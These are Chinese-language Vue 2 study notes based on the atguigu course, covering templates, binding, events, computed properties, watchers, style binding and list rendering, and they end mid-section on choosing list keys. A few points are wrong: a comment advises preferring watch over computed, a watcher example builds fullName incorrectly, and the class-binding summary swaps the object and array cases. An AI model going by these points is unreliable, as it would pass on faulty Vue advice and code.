一、Vue核心
1. vue特点
- 采用
组件化
模式,提高代码复用率、且让代码更好维护; 声明式
编码,让编码人员无需直接操作 DOM,提高开发效率;- 使用
虚拟DOM
+ 优秀的Diff算法
,尽量复用 DOM节点;
2. 学习 vue 的前提
- es6
- npm
- 原型、原型链
- 数组常用方法
- axios
- promise
3. Vue.js官网
学习
①教程:
②API:字典
4. 关闭提示
<script src="../js/vue.js"></script>
<!--
You are running Vue in development mode.
Make sure to turn on production mode when deploying for production.
-->
</head>
<body>
<script>
Vue.config.productionTip = false; // 设置为 false 以阻止 vue 在启动时生成生产提示。
</script>
5. 初识Vue
<title>初识vue</title>
<script src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="root">
<!-- {{}} 表示插值语法 -->
<h1>Hello,{{name.toUpperCase()}},{{address}}</h1>
</div>
</body>
<script>
Vue.config.productionTip = false; // 设置为 false 以阻止 vue 在启动时生成生产提示。
// 创建 Vue 实例
const x = new Vue({
el:'#root', // element 用于指定当前 Vue实例为哪个容器服务,值通常为css选择器
data:{ // data 中用于存储数据,数据供 el所指定的容器去使用,值暂定为对象
name:'atguigu',
address:'上海'
}
})
</script>
初识 Vue 总结:
1. 想让 Vue 工作,就必须创建一个 Vue 实例,且要传入一个配置对象;
2. root 容器里的代码依然符合 html 规范,只不过混入了一些特殊的 Vue 语法;
3. root 容器里的代码被称为 【Vue 模板】;
4. Vue 实例和 容器是一一对应的;
5. 真实开发中只有一个 Vue 实例,并且会配合着组件一起使用;
6. {{xxx}} 中的 xxx 要写 js 表达式,且 xxx 可以自动读取 data中的所有属性;
7. 一旦 data中的数据发生改变,那么 页面(模板)中用到该数据的地方也会自动更新;
注意区分:js 表达式 和 js 代码(语句)
1. js 表达式:一个表达式会生成一个值,可以放在任何一个需要值的地方
a+b
2. js 代码(语句):
if(){}
for(){}
6. 模板语法
<!-- 容器 -->
<div id="root">
<h1>插值语法</h1>
<h3>你好,{{name}}</h3>
<hr>
<h1>指令语法</h1>
<a v-bind:href="school.url">点我去{{school.name}}学习1</a>
<br>
<a :href="school.url">点我去{{school.name}}学习2</a>
</div>
</body>
<script>
Vue.config.productionTip = false;
// 创建实例
new Vue({
el:'#root',
data:{
name:'jack',
school:{
name:'尚硅谷',
url:'http://www.atguigu.com'
}
}
})
</script>
2类模板语法总结:
1.插值语法:
功能:用于解析标签体内容
写法:{{xxx}} xxx是js 表达式,且可以直接读取到 data中的所有属性;
2.指令语法:
功能:用于解析标签(包括:标签属性、标签体内容、绑定事件...)
举例:v-bind:href="xxx" 或 :href="xxx" xxx是js 表达式,且可以直接读取到 data中的所有属性
7. 数据绑定
<div id="root">
单向数据绑定:<input type="text" v-bind:value="name">
<br>
双向数据绑定:<input type="text" v-model:value="name">
<br>
<!-- 简写 -->
单向数据绑定:<input type="text" :value="user">
<br>
双向数据绑定:<input type="text" v-model="user">
</div>
</body>
<script>
Vue.config.productionTip = false;
new Vue({
el:'#root',
data:{
name:'尚硅谷',
user:'admin'
}
})
</script>
数据绑定总结:
1. 单向绑定(v-bind):
1.语法:v-bind:href ="xxx" 或简写为 :href
2.特点:数据只能从 data 流向页面
2. 双向绑定(v-model):
1. 语法:v-mode:value="xxx" 或简写为 v-model="xxx"
2. 特点:数据不仅能从 data 流向页面,还能从页面流向 data
8. el与data的2种写法
<div id="root">你好,{{name}}</div>
</body>
<script>
Vue.config.productionTip = false;
// const v = new Vue({
// // el:'#root', // el 第一种写法
// data:{ // data 第一种写法:对象式
// name:'尚硅谷'
// }
// });
// console.log(v);
// v.$mount('#root'); // el 第二种写法
new Vue({
el:'#root',
data(){ // data 第二种写法:普通函数式,如果是箭头函数,this 指window 对象
console.log('@@@',this); // 此处的this 是 Vue 实例对象
return{
name:'尚硅谷'
}
}
});
</script>
el与data的2种写法 的总结:
1.el 有 2种写法:
(1)new Vue时配置 el 属性;
(2)先创建 Vue 实例,然后再通过 v.$mount('#root'); 指定el 的值
2.data 有 2种写法:
(1)对象式
(2)普通函数式:组件的 data 必须是 普通函数
3.一个重要的原则:
由 Vue 管理的函数,一定不要写箭头函数,一旦写了箭头函数,this 就不再是 Vue 实例了
9. MVVM模型
<div id="root">
<h1>学校名称:{{name}}</h1>
<h1>学校地址:{{address}}</h1>
<h1>测试一下:{{1+1}}</h1>
</div>
</body>
<script>
Vue.config.productionTip = false;
const vm = new Vue({
el:'#root',
data:{
name:'尚硅谷',
address:'北京'
}
});
console.log(vm);
</script>
<!--
MVVM 模型总结:
1. M:模型(Model) :对应 data 中的数据
2. V:视图(View) :模板(页面)
3. VM:视图模型(ViewModel) : Vue 实例对象
观察发现:
1. data 中的所有属性,最后都出现在了 vm 身上;
2. vm 身上所有的属性 及 Vue原型上的所有属性,在Vue 模板中都可以直接使用。
-->
10. Object.defineproperty()
<script>
let number = 18;
let person = {
name:'张三',
sex:'男'
}
Object.defineProperty(person,'age',{
// value:18,
// enumerable:true, // 控制属性是否可以枚举,默认值是 false
// writable:true, // 控制属性是否可以被修改,默认值是 false
// configurable:true // 控制属性是否可以被删除,默认值是 false
// 当有人读取person对象的age属性时,get函数(getter)就会被调用,且返回值就是 age 的值
get:function(){
console.log('有人读取age属性了');
return number;
},
// 当有人修改person对象的age属性时,set函数(setter)就会被调用,且会收到修改的具体值
set:function(value){
console.log('有人修改了age属性,且值是',value);
number = value;
}
});
console.log(Object.keys(person));
console.log(person);
</script>
11. 数据代理
// 数据代理:通过一个对象代理对另一个对象中属性的操作(读/写)
let obj = {
x:100
};
let obj2 = {
y:100
}
Object.defineProperty(obj2,'x',{
// 拿值
get(){
return obj.x;
},
// 修改值
set(value){
obj.x = value;
}
})
12. Vue 数据代理
<div id="root">
<h2>学校名称:{{name}}</h2>
<h2>学校地址:{{address}}</h2>
</div>
</body>
<script>
Vue.config.productionTip = false;
const vm = new Vue({
el:'#root',
data:{
name:'尚硅谷',
address:'宏福科技园'
}
})
console.log(vm);
</script>
<!--
1. Vue 中的数据代理:
通过 vm对象来代理 data对象中属性的操作(读/写)
2. Vue中数据代理的好处:
更加方便的操作 data中的数据
3. 基本原理:
通过 Object.defineproperty() 把 data对象中所有属性添加到 vm上;
为每一个添加到 vm上的属性,都指定一个 getter/setter;
在 getter/setter 内部去操作(读/写) data中对应的属性。
-->
13. 事件的基本使用
<div id="root">
<h2>欢迎来到{{name}}学习</h2>
<button v-on:click="showInfo1">点我提示信息1(不传参)</button>
<button @click="showInfo2($event,66)">点我提示信息2(传参)</button>
</div>
</body>
<script>
Vue.config.productionTip = false;
new Vue({
el:'#root',
data:{
name:'尚硅谷'
},
methods:{
showInfo1(event){
console.log(event.target);
console.log(this);
alert('同学,你好!');
},
showInfo2(event,number){
console.log(event.target);
// console.log(this);
alert('同学,你好!!' + number);
}
}
})
</script>
<!--
事件的基本使用:
1.使用 v-on:xxx 或 @xxx 绑定事件,其中xxx 是事件名;
2.事件的回调需要配置在 methods 对象中,最终会在 vm 上;
3.methods 中配置的函数,不要用箭头函数!否则 this 就不是 vm 了;
4.methods 中配置的函数,都是被 Vue 所管理的函数,this 的指向是 vm 或 组件实例对象;
5.@click="func1" 和 @click="func1($event,arg)" 效果一致,但后者可传参。
-->
14. 事件修饰符
<div id="root">
<h2>欢迎来到{{name}}学习</h2>
<!-- .prevent: 阻止事件的默认行为 -->
<a href="http://www.atguigu.com" @click.prevent="showInfo">点我提示信息</a>
<!-- .stop: 阻止事件冒泡 -->
<div class="demo1" @click="showInfo">
<button @click.stop="showInfo">点我提示信息</button>
</div>
<!-- .once:事件只触发一次 -->
<button @click.once="showInfo">点我提示信息</button>
<!-- .capture:使用事件的捕获模式 -->
<div class="box1" @click.capture="showMsg(1)">
div1
<div class="box2" @click="showMsg(2)">div2</div>
</div>
<!-- .self:只有 event.target 是当前操作的元素时才触发事件 -->
<div class="demo1" @click.self="showInfo">
<button @click="showInfo">点我提示信息</button>
</div>
<!-- .passive:事件的默认行为立即执行,无需等待事件回调执行完毕 -->
<ul class="list" @scroll="func">
<li>1</li>
<li>2</li>
<li>3</li>
<li>4</li>
</ul>
</div>
</body>
<script>
Vue.config.productionTip = false;
new Vue({
el:'#root',
data:{
name:'尚硅谷'
},
methods:{
showInfo(e){
alert("同学,你好!");
// console.log(e.target);
},
showMsg(number){
console.log(number);
},
func(){
for(let i=1; i<1000; i++){
console.log('#');
}
console.log('结束了');
}
}
})
</script>
<!--
Vue 中的事件修饰符:
1. .prevent: 阻止事件的默认行为 event.preventDefault();
2. .stop: 阻止事件冒泡 event.stopPropagation();
3. .once:事件只触发一次;
4. .capture:使用事件的捕获模式;
5. .self:只有 event.target 是当前操作的元素时才触发事件;
6. .passive:事件的默认行为立即执行,无需等待事件回调执行完毕。
-->
15. 键盘事件
<div id="root">
<h2>欢迎来到{{name}}学习</h2>
<input type="text" placeholder="按下回车提示输入" @keyup.enter="showInfo">
</div>
</body>
<script>
Vue.config.productionTip = false;
new Vue({
el:'#root',
data:{
name:'尚硅谷'
},
methods:{
showInfo(e){
console.log(e.key,e.keyCode);
// console.log(e.target.value);
}
}
})
</script>
<!--
1.Vue 中常用的按键别名:
回车:enter
删除:delete(捕获“删除” 和 “退格”键)
退出:esc
空格:space
换行:tab(特殊,必须配合 keydown去使用)
上:up
下:down
左:left
右:right
2.Vue 未提供别名的按键,可以使用按键原始的 key 值去绑定,但注意要转为 kebab_case(短横线命名)
3.系统修饰键(用法特殊):ctrl、alt、shift、meta
(1).配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。
(2).配合keydown使用:正常触发事件。
4.也可以使用keyCode去指定具体的按键(不推荐)
5.Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名
-->
16. 计算属性-姓名联动
①插值语法实现
<div id="root">
姓氏:<input type="text" v-model:value="firstName"><br><br>
名字:<input type="text" v-model="lastName"><br><br>
姓名:<span>{{firstName.slice(0,3)}}-{{lastName}}</span>
</div>
</body>
<script>
Vue.config.productionTip = false;
new Vue({
el:'#root',
data:{
firstName:'张',
lastName:'三'
}
})
</script>
②methods 实现
<div id="root">
姓氏:<input type="text" v-model:value="firstName"><br><br>
名字:<input type="text" v-model="lastName"><br><br>
姓名:<span>{{fullName()}}</span>
</div>
</body>
<script>
Vue.config.productionTip = false;
new Vue({
el:'#root',
data:{
firstName:'张',
lastName:'三'
},
methods:{
fullName(){
return this.firstName.slice(0,3) + '-' + this.lastName;
}
}
})
</script>
③计算属性实现
<div id="root">
姓氏:<input type="text" v-model:value="firstName"><br><br>
名字:<input type="text" v-model="lastName"><br><br>
姓名:<span>{{fullName}}</span>
</div>
</body>
<script>
Vue.config.productionTip = false;
new Vue({
el:'#root',
data:{
firstName:'张',
lastName:'三'
},
computed:{
fullName:{
// get的作用:当有人读取 fullName时,get 就会被调用,且返回值就作为 fullName 的值
// get 什么时候调用:1.初次读取 fullName时;2.所依赖的数据发生变化时
get(){
console.log('get被调用了');
// console.log(this); // 此处的 this 是 vm 实例
return this.firstName.slice(0,3) + '-' + this.lastName;
},
// set 什么时候被调用:当 fullName 被修改时
set(value){
console.log('set',value);
const arr = value.split('-');
this.firstName = arr[0];
this.lastName = arr[1];
}
}
}
})
</script>
④计算属性简写实现
<div id="root">
姓氏:<input type="text" v-model:value="firstName"><br><br>
名字:<input type="text" v-model="lastName"><br><br>
姓名:<span>{{fullName}}</span>
</div>
</body>
<script>
Vue.config.productionTip = false;
new Vue({
el:'#root',
data:{
firstName:'张',
lastName:'三'
},
computed:{
// 计算属性简写:在只读取不修改的情况下使用
fullName(){
console.log('get被调用了');
return this.firstName.slice(0,3) + '-' + this.lastName;
}
}
})
</script>
⑤监视属性实现
<div id="root">
姓氏:<input type="text" v-model:value="firstName"><br><br>
名字:<input type="text" v-model="lastName"><br><br>
姓名:<span>{{fullName}}</span>
</div>
</body>
<script>
Vue.config.productionTip = false;
new Vue({
el:'#root',
data:{
firstName:'张',
lastName:'三',
fullName:'张-三'
},
watch:{
firstName(newValue){
// 当使用计算属性 和监视属性 都能实现时,尽量使用监视属性,监视属性可以异步实现
setTimeout(()=>{
this.fullName = newValue + '-' + this.lastName;
},1000);
},
lastName(newValue){
this.fullName = this.fullName + '-' + newValue;
}
}
})
</script>
⑥计算属性总结
<!--
计算属性:
1.定义:要用的属性不存在,要通过已有属性计算得来。
2.原理:底层借助了Objcet.defineproperty方法提供的getter和setter。
3.get函数什么时候执行?
(1).初次读取时会执行一次。
(2).当依赖的数据发生改变时会被再次调用。
4.优势:与 methods实现相比,内部有缓存机制(复用),效率更高,调试方便。
5.备注:
1.计算属性最终会出现在vm上,直接读取使用即可。
2.如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生改变。
6.计算属性可以被简写:在只读取不修改的情况下
-->
17. 监听属性-天气案例
①天气案例
<div id="root">
<h2>今天天气很{{info}}</h2>
<!-- 绑定事件的时候:@xxx="yyy" yyy可以写一些简单的语句 -->
<!-- <button @click="isHot = !isHot">切换天气</button> -->
<button @click="changeWeather">切换天气</button>
</div>
</body>
<script>
Vue.config.productionTip = false;
new Vue({
el:'#root',
data:{
isHot:true
},
computed:{
info(){
return this.isHot ? '炎热' : '凉爽';
}
},
methods:{
changeWeather(){
this.isHot = !this.isHot;
}
}
})
</script>
</html>
②监听属性(4)实现
<div id="root">
<h2>今天天气很{{info}}</h2>
<button @click="changeWeather">切换天气</button>
</div>
</body>
<script>
Vue.config.productionTip = false;
const vm = new Vue({
el:'#root',
data:{
isHot:true,
},
computed:{
info(){
return this.isHot ? '炎热' : '凉爽';
}
},
methods:{
changeWeather(){
this.isHot = !this.isHot;
}
},
watch:{
// isHot:{
// // immediate:true, // 初始化时,让 handler 调用一下
// // deep:true, // 深度监视
// // handler 什么时候调用?当isHot 发生改变时
// handler(newValue,oldValue){
// console.log('isHot被修改了',newValue,oldValue);
// }
// },
// 监视属性简写1:只有 handler 时使用
// isHot(newValue,oldValue){
// console.log('isHot被修改了',newValue,oldValue);
// }
}
})
// vm.$watch('isHot',{
// immediate:true, // 初始化时,让 handler 调用一下
// deep:true, // 深度监视
// // handler 什么时候调用?当isHot 发生改变时
// handler(newValue,oldValue){
// console.log('isHot被修改了',newValue,oldValue);
// }
// });
// 简写2
vm.$watch('isHot',function(newValue,oldValue){
console.log('isHot被修改了',newValue,oldValue);
})
</script>
③深度监听(慎用)
<div id="root">
<h2>今天天气很{{info}}</h2>
<button @click="changeWeather">切换天气</button>
<hr>
<h3>a 的值是:{{numbers.a}}</h3>
<button @click="numbers.a++">点我让 a+1</button>
<h3>b 的值是:{{numbers.b}}</h3>
<button @click="numbers.b++">点我让 b+1</button>
</div>
</body>
<script>
Vue.config.productionTip = false;
const vm = new Vue({
el:'#root',
data:{
isHot:true,
numbers:{
a:1,
b:1
}
},
computed:{
info(){
return this.isHot ? '炎热' : '凉爽';
}
},
methods:{
changeWeather(){
this.isHot = !this.isHot;
}
},
watch:{
isHot:{
// handler 什么时候调用?当isHot 发生改变时
handler(newValue,oldValue){
console.log('isHot被修改了',newValue,oldValue);
}
},
// 监视多级结构中某个属性的变化
// 'numbers.a':{
// handler(){
// console.log('a 被改变了');
// }
// },
// 监视多级结构中所有属性的变化
numbers:{
deep:true,
handler(){
console.log('numbers 改变了');
}
}
}
})
</script>
④监听属性总结
<!--
监视属性 watch:
1.当被监视的属性变化时, handler 回调函数自动调用, 进行相关操作
2.监视的属性必须存在,才能进行监视!!
3.监视的两种正常写法:
(1).new Vue时传入watch配置:当你确定要监视谁时使用;
(2).通过vm.$watch监视:不确定要监视谁时使用。
4.监视的两种简写:
在只有 handler 的时候使用;
深度监听比较消耗性能,尤其是特别复杂的对象,要慎用:
(1).Vue中的watch默认不监测对象内部值的改变(一层)。
(2).配置deep:true可以监测对象内部值改变(多层)。
备注:
(1).Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以!
(2).使用watch时根据数据的具体结构,决定是否采用深度监视。
5.如果只对复杂类型中某一个属性进行监听,方法如下:
-->
18. computed和watch的区别
<!--
computed和watch之间的区别:
1.computed能完成的功能,watch都可以完成。
2.watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作。
两个重要的小原则:
1.所被Vue管理的函数,最好写成普通函数,这样this的指向才是vm 或 组件实例对象。
2.所有不被Vue所管理的函数(定时器的回调函数、ajax的回调函数等、Promise的回调函数),最好写成箭头函数,
这样this的指向才是vm 或 组件实例对象。
-->
19. 绑定样式
①绑定样式举例
<style>
.basic{
width: 400px;
height: 100px;
border: 1px solid black;
}
.happy{
border: 4px solid red;;
background-color: rgba(255, 255, 0, 0.644);
background: linear-gradient(30deg,yellow,pink,orange,yellow);
}
.sad{
border: 4px dashed rgb(2, 197, 2);
background-color: gray;
}
.normal{
background-color: skyblue;
}
.atguigu1{
background-color: yellowgreen;
}
.atguigu2{
font-size: 30px;
text-shadow:2px 2px 10px red;
}
.atguigu3{
border-radius: 20px;
}
</style>
</head>
<body>
<div id="root">
<!-- 绑定 class样式:字符串写法,适用于:样式的类名不确定,需要动态指定 -->
<div class="basic" :class="mood" @click="changeMood">{{name}}</div>
<br><br>
<!-- 绑定 class样式:数组写法,适用于:要绑定的样式个数不确定、类名也不确定 -->
<div class="basic" :class="classArr">{{name}}</div>
<br><br>
<!-- 绑定 class样式:对象写法,适用于:要绑定的样式个数确定、类名也确定,但需要动态决定用不用 -->
<div class="basic" :class="classObj">{{name}}</div>
<br><br>
<!-- 绑定 style样式:对象写法 -->
<div class="basic" :style="styleObj">{{name}}</div>
<br><br>
<!-- 绑定 style样式:数组写法 -->
<div class="basic" :style="styleArr">{{name}}</div>
</div>
</body>
<script>
Vue.config.productionTip = false;
const vm = new Vue({
el:'#root',
data:{
name:'尚硅谷',
mood:'normal',
classArr:['atguigu1','atguigu2','atguigu3'],
classObj:{
atguigu1:false,
atguigu2:false
},
styleObj:{
fontSize:'40px',
color:'red'
},
styleArr:[
{
fontSize:'30px',
color:'orange'
},
{
backgroundColor:'gray'
}
]
},
methods:{
changeMood(){
const arr = ['happy','sad','normal'];
const index = Math.floor(Math.random() * 3);
this.mood = arr[index];
}
},
})
</script>
②绑定样式总结
<!--
绑定样式:
1. class样式
写法:class="xxx" xxx可以是字符串、对象、数组。
字符串写法适用于:类名不确定,要动态获取。
对象写法适用于:要绑定多个样式,个数不确定,名字也不确定。
数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。
2. style样式
:style="{fontSize: xxx}"其中xxx是动态值。
:style="[a,b]"其中a、b是样式对象。
-->
20. 条件渲染
①条件渲染案例
<div id="root">
<!-- 使用 v-show 做条件渲染,diaplay: none; -->
<!-- <h2 v-show="false">欢迎来到{{name}}</h2> -->
<!-- <h2 v-show="1 === 1">欢迎来到{{name}}</h2> -->
<!-- 使用 v-if 做条件渲染,清空结构 -->
<!-- <h2 v-if="false">欢迎来到{{name}}</h2> -->
<!-- <h2 v-if="1 === 1">欢迎来到{{name}}</h2> -->
<h2>当前的 n 值是{{n}}</h2>
<!-- v-else 和 v-else-if -->
<button @click="n++">点我 n+1</button>
<!-- <div v-if="n === 1">Angular</div>
<div v-else-if="n === 2">React</div>
<div v-else-if="n === 3">Vue</div>
<div v-else>其他</div> -->
<!-- v-if 与 template 的配合使用 -->
<template v-if="n === 1">
<h2>你好</h2>
<h2>尚硅谷</h2>
<h2>北京</h2>
</template>
</div>
</body>
<script>
Vue.config.productionTip = false;
const vm = new Vue({
el:'#root',
data:{
name:'尚硅谷',
n:0
}
})
</script>
②条件渲染总结
<!--
条件渲染的 总结:
1.v-if
写法:
(1).v-if="表达式"
(2).v-else-if="表达式"
(3).v-else
适用于:切换频率较低的场景。
特点:不展示的DOM元素直接被移除。
注意:v-if可以和:v-else-if、v-else一起使用,但要求结构不能被“打断”。
2.v-show
写法:v-show="表达式"
适用于:切换频率较高的场景。
特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉
3.备注:使用v-if的时,元素可能无法获取到,而使用v-show一定可以获取到。
-->
21. 列表渲染
①基本列表
<div id="root">
<!-- 遍历数组 -->
<h2>人员列表(遍历数组)</h2>
<ul>
<!-- <li v-for="(p,index) of personList" :key="index"> -->
<li v-for="p in personList" :key="p.id">
{{p.name}}-{{p.age}}
</li>
</ul>
<!-- 遍历对象 -->
<h2>汽车信息(遍历对象)</h2>
<ul>
<li v-for="(value,index) of carObj" :key="index">
{{index}}-{{value}}
</li>
</ul>
<!-- 遍历字符串 -->
<h2>测试遍历字符串(用得少)</h2>
<ul>
<li v-for="(char,index) of str" :key="index">
{{char}}-{{index}}
</li>
</ul>
<!-- 遍历指定次数/数字 -->
<h2>测试遍历指定次数(用得更少)</h2>
<ul>
<li v-for="(number,index) of 5" :key="index">
{{number}}-{{index}}
</li>
</ul>
</div>
</body>
<script>
Vue.config.productionTip = false;
const vm = new Vue({
el:'#root',
data:{
personList:[
{id:'001',name:'张三',age:18},
{id:'002',name:'李四',age:19},
{id:'003',name:'王五',age:20}
],
carObj:{
name:'奥迪A8',
price:'70万',
color:'黑色'
},
str:'hello'
}
})
</script>
②key的原理
<div id="root">
<!-- 遍历数组 -->
<h2>人员列表(遍历数组)</h2>
<button @click="add">添加一个老刘</button>
<ul>
<li v-for="p,index in personList" :key="p.id">
{{p.name}}-{{p.age}}
<input type="text">
</li>
</ul>
</div>
</body>
<script>
Vue.config.productionTip = false;
const vm = new Vue({
el:'#root',
data:{
personList:[
{id:'001',name:'张三',age:18},
{id:'002',name:'李四',age:19},
{id:'003',name:'王五',age:20}
],
},
methods:{
add(){
const p = {id:'004',name:'老刘',age:'40'};
this.personList.unshift(p);
}
},
})
</script>
③列表过滤(2)
<div id="root">
<h2>人员列表</h2>
<input type="text" placeholder="请输入名字" v-model="keyWord">
<ul>
<li v-for="p in newPersonList" :key="p.id">
{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
</div>
</body>
<script>
Vue.config.productionTip = false;
// 用 watch 实现
//#region 表示代码折叠的起始位置
// new Vue({
// el:'#root',
// data:{
// keyWord:'',
// personList:[
// {id:'001',name:'马冬梅',age:19,sex:'女'},
// {id:'002',name:'周冬雨',age:20,sex:'女'},
// {id:'003',name:'周杰伦',age:21,sex:'男'},
// {id:'004',name:'温兆伦',age:22,sex:'男'}
// ],
// newPersonList:[],
// },
// watch:{
// keyWord:{
// immediate:true,
// handler(newVal){
// this.newPersonList = this.personList.filter((p)=>{
// return p.name.indexOf(newVal) !== -1;
// })
// }
// }
// }
// })
//#endregion 表示代码折叠的结束位置
// 用 computed 实现
new Vue({
el:'#root',
data:{
keyWord:'',
personList:[
{id:'001',name:'马冬梅',age:19,sex:'女'},
{id:'002',name:'周冬雨',age:20,sex:'女'},
{id:'003',name:'周杰伦',age:21,sex:'男'},
{id:'004',name:'温兆伦',age:22,sex:'男'}
],
},
computed:{
newPersonList(){
return this.personList.filter((p)=>{
return p.name.indexOf(this.keyWord) !== -1;
})
}
}
})
</script>
④列表排序
<div id="root">
<h2>人员列表</h2>
<input type="text" placeholder="请输入名字" v-model="keyWord">
<button @click="sortType = 2">年龄升序</button>
<button @click="sortType = 1">年龄降序</button>
<button @click="sortType = 0">原顺序</button>
<ul>
<li v-for="p in newPersonList" :key="p.id">
{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
</div>
</body>
<script>
Vue.config.productionTip = false;
// 用 computed 实现
new Vue({
el:'#root',
data:{
keyWord:'',
sortType:0, // 0原顺序 1降序 2升序
personList:[
{id:'001',name:'马冬梅',age:30,sex:'女'},
{id:'002',name:'周冬雨',age:31,sex:'女'},
{id:'003',name:'周杰伦',age:29,sex:'男'},
{id:'004',name:'温兆伦',age:22,sex:'男'}
],
},
computed:{
newPersonList(){
const arr = this.personList.filter((p)=>{
return p.name.indexOf(this.keyWord) !== -1;
})
// 判断一下是否需要排序
if(this.sortType){
arr.sort((p1,p2)=>{
return this.sortType === 1 ? p2.age-p1.age : p1.age-p2.age;
})
}
return arr;
}
}
})
</script>
⑤更新时的一个问题
<div id="root">
<h2>人员列表</h2>
<button @click="updateMy">更新马冬梅的信息</button>
<ul>
<li v-for="p in personList" :key="p.id">
{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
</div>
</body>
<script>
Vue.config.productionTip = false;
// 用 computed 实现
const vm = new Vue({
el:'#root',
data:{
personList:[
{id:'001',name:'马冬梅',age:30,sex:'女'},
{id:'002',name:'周冬雨',age:31,sex:'女'},
{id:'003',name:'周杰伦',age:29,sex:'男'},
{id:'004',name:'温兆伦',age:22,sex:'男'}
],
},
methods:{
// vue 监测不到数据的改变
updateMy(){
// this.personList[0].name = '马老师',
// this.personList[0].age = 50,
// this.personList[0].sex = '男'
// 不奏效
// this.personList[0] = {id:'001',name:'马老师',age:50,sex:'男'};
// 解决方法
this.personList.splice(0,1,{id:'001',name:'马老师',age:50,sex:'男'});
}
}
})
</script>
⑥vue 监测对象改变的原理
<div id="root">
<h2>学校名称:{{name}}</h2>
<h2>学校地址:{{address}}</h2>
</div>
</body>
<script>
Vue.config.productionTip = false;
const vm = new Vue({
el:'#root',
data:{
name:'尚硅谷',
address:'北京',
student:{
name:'tom',
age:{
rAge:40,
aAge:29
},
friends:[
{name:'jerry',age:35}
]
}
}
})
</script>
⑦模拟一个数据监测
<!-- 模拟一个数据监测的缺陷:没有递归,只解析了一层 -->
<script>
let data = {
name:'尚硅谷',
address:'北京',
a:{
b:1
}
}
// 创建一个监视的实例对象,用于监视 data 中属性的变化
const obs = new Observer(data);
console.log(obs);
// 准备一个 vm 实例对象
let vm = {};
vm._data = data = obs;
function Observer(obj){
// 汇总对象中所有的属性形成一个数组
const keys = Object.keys(obj);
// 遍历
keys.forEach((k)=>{
Object.defineProperty(this,k,{
get(){
return obj[k];
},
set(val){
console.log(`${k} 被修改了,我要去解析模板,生成虚拟DOM......我要开始忙了`);
obj[k] = val;
}
})
})
}
</script>
⑧Vue.set 的使用(2)
<div id="root">
<h1>学生信息</h1>
<button @click="addSex">添加一个性别信息,默认值是男</button>
<h2>学生姓名:{{student.name}}</h2>
<h2 v-if="student.sex">学生性别:{{student.sex}}</h2>
</div>
</body>
<script>
Vue.config.productionTip = false;
const vm = new Vue({
el:'#root',
data:{
student:{
name:'tom',
}
},
methods:{
addSex(){
// Vue.set(this.student,'sex','男');
this.$set(this.student,'sex','男');
}
},
})
</script>
⑨vue 监测数组改变的原理
<div id="root">
<h1>学生信息</h1>
<h2>爱好</h2>
<button @click="addHobby">向数组添加一个爱好(默认打游戏)</button>
<ul>
<li v-for="h,index in student.hobby" :key="index">
{{h}}
</li>
</ul>
</div>
</body>
<script>
Vue.config.productionTip = false;
const vm = new Vue({
el:'#root',
data:{
student:{
hobby:['抽烟','喝酒','烫头'],
}
},
methods:{
addHobby(){
// this.student.hobby.push('打游戏');
Vue.set(this.student.hobby,3,'打游戏');
}
},
})
</script>
⑩列表渲染总结
<div id="root">
<h1>学生信息</h1>
<button @click="student.age++">年龄 +1 岁</button><br><br>
<button @click="addSex">添加性别属性,默认值:男</button><br><br>
<button @click="student.sex = '未知' ">修改性别</button><br><br>
<button @click="addName">在列表首位添加一个朋友</button><br><br>
<button @click="updateName">修改第一个朋友的名字为:张三</button><br><br>
<button @click="addHobby">添加一个爱好</button><br><br>
<button @click="updateHobby">修改第一个爱好为:开车</button><br><br>
<button @click="filterHobby">过滤掉爱好中的喝酒</button>
<h2>姓名:{{student.name}}</h2>
<h2>年龄:{{student.age}}</h2>
<h2 v-if="student.sex">性别:{{student.sex}}</h2>
<h2>爱好:</h2>
<ul>
<li v-for="h,index in student.hobby" :key="index">
{{h}}
</li>
</ul>
<h2>朋友们:</h2>
<ul>
<li v-for="f,index in student.friends" :key="index">
{{f.name}}--{{f.age}}
</li>
</ul>
</div>
</body>
<script>
Vue.config.productionTip = false;
const vm = new Vue({
el:'#root',
data:{
student:{
name:'tom',
age:18,
hobby:['抽烟','喝酒','烫头'],
friends:[
{name:'jerry',age:35},
{name:'tony',age:36}
]
}
},
methods:{
addSex(){
// Vue.set(this.student,'sex','男');
this.$set(this.student,'sex','男');
},
addName(){
this.student.friends.unshift({name:'jack',age:22});
// Vue.set(this.student.friends,2,{name:'jack',age:22});
},
updateName(){
this.student.friends[0].name = '张三';
},
addHobby(){
// this.student.hobby.push('打游戏');
// Vue.set(this.student.hobby,3,'打游戏');
this.student.hobby.unshift('学习');
},
updateHobby(){
// this.student.hobby.splice(0,1,'开车');
Vue.set(this.student.hobby,0,'开车');
},
filterHobby(){
this.student.hobby = this.student.hobby.filter((h)=>{
return h !== '喝酒';
})
}
},
})
</script>
<!--
插值语法中可以写:data 中的属性、未配置的计算属性、v-for 中的形参
v-for指令:
1.用于展示列表数据
2.语法:v-for="(item, index) in xxx" :key="yyy"
3.可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)
-->
<!--
面试题:react、vue中的key有什么作用?(key的内部原理)
1. 虚拟DOM中key的作用:
key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】,
随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:
2.对比规则:
(1).旧虚拟DOM中找到了与新虚拟DOM相同的key:
①.若虚拟DOM中内容没变, 直接复用之前的真实DOM!
②.若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM。
(2).旧虚拟DOM中未找到与新虚拟DOM相同的key
创建新的真实DOM,随后渲染到到页面。
3. 用index作为key可能会引发的问题:
1. 若对数据进行:逆序添加、逆序删除等破坏顺序操作:
会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。
2. 如果结构中还包含输入类的DOM:
会产生错误DOM更新 ==> 界面有问题。
4. 开发中如何选择key?:
